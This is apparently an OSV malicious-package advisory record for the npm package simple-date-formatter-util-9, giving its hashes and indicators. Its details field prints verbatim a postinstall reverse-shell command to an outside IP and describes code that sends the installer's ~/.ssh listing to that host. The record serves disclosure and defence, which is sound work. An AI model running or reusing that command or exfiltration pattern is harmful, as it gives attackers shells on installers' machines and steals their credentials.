{"id":"MAL-2026-11547","summary":"Malicious code in simple-date-formatter-util-9 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840)\npackage.json declares a postinstall lifecycle hook that executes `bash -i \u003e& /dev/tcp/124.221.154.135/4444 0\u003e&1 &`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.\n","modified":"2026-08-04T23:05:31.216141474Z","published":"2026-08-04T22:07:12Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-011338","import_time":"2026-08-04T22:30:11.671428728Z","modified_time":"2026-08-04T22:07:12Z","sha256":"3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/simple-date-formatter-util-9/v/1.0.0"}],"affected":[{"package":{"name":"simple-date-formatter-util-9","ecosystem":"npm","purl":"pkg:npm/simple-date-formatter-util-9"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"sha256":"304032276f21b0190f167d74910e03d933146ef0be9af14a0eedfb9ac8277d0a","tlsh":"27e07d50ce108c3367d585b98a568512bb04de1b00183c09779b2248a38fab344fc30e","path":"package.json"},{"sha256":"f2be6940c08d36a7f1ce83d5fe16fefd8c14edda5d124e0f6406725beb5020ef","tlsh":"273165d558f9cd3007778685639b91263102fe13650ee940f3c807a51fe9a5449f2dee","path":"postinstall.js"}],"package_integrity":[{"filename":"simple-date-formatter-util-9-1.0.0.tgz","hashes":{"sha512_sri":"sha512-cZmgGyB6elEBCIi74DABoMFlDam8DVl/xUWGFmzHLZCg9eH5Ve92ocwLzhgBMjp5m4KdZpWaoPuNPYvKmPemyA==","sha1":"320bc1b63cd845834e1f2f15240fffad23e3c9cc"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/simple-date-formatter-util-9/MAL-2026-11547.json"}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}